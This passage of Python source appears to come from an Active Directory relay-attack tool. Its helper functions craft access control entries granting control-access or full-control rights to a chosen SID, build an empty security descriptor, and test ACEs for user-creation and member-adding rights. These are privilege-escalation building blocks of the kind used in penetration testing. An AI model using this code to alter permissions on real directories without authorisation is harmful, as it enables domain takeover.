735def create_object_ace(privguid, sid): 

736 nace = ldaptypes.ACE() 

737 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 

738 nace['AceFlags'] = 0x00 

739 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 

740 acedata['Mask'] = ldaptypes.ACCESS_MASK() 

741 acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS 

742 acedata['ObjectType'] = string_to_bin(privguid) 

743 acedata['InheritedObjectType'] = b'' 

744 acedata['Sid'] = ldaptypes.LDAP_SID() 

745 acedata['Sid'].fromCanonical(sid) 

746 assert sid == acedata['Sid'].formatCanonical() 

747 acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 

748 nace['Ace'] = acedata 

749 return nace 

750 

751# Create an ALLOW ACE with the specified sid 

752def create_allow_ace(sid): 

753 nace = ldaptypes.ACE() 

754 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 

755 nace['AceFlags'] = 0x00 

756 acedata = ldaptypes.ACCESS_ALLOWED_ACE() 

757 acedata['Mask'] = ldaptypes.ACCESS_MASK() 

758 acedata['Mask']['Mask'] = 983551 # Full control 

759 acedata['Sid'] = ldaptypes.LDAP_SID() 

760 acedata['Sid'].fromCanonical(sid) 

761 nace['Ace'] = acedata 

762 return nace 

763 

764def create_empty_sd(): 

765 sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 

766 sd['Revision'] = b'\x01' 

767 sd['Sbz1'] = b'\x00' 

768 sd['Control'] = 32772 

769 sd['OwnerSid'] = ldaptypes.LDAP_SID() 

770 # BUILTIN\Administrators 

771 sd['OwnerSid'].fromCanonical('S-1-5-32-544') 

772 sd['GroupSid'] = b'' 

773 sd['Sacl'] = b'' 

774 acl = ldaptypes.ACL() 

775 acl['AclRevision'] = 4 

776 acl['Sbz1'] = 0 

777 acl['Sbz2'] = 0 

778 acl.aces = [] 

779 sd['Dacl'] = acl 

780 return sd 

781 

782# Check if an ACE allows for creation of users 

783def can_create_users(ace): 

784 createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD) 

785 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 

786 return False 

787 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2' 

788 return createprivs and userprivs 

789 

790# Check if an ACE allows for adding members 

791def can_add_member(ace): 

792 writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP) 

793 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 

794 return writeprivs 

795 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2' 

796 return writeprivs and userprivs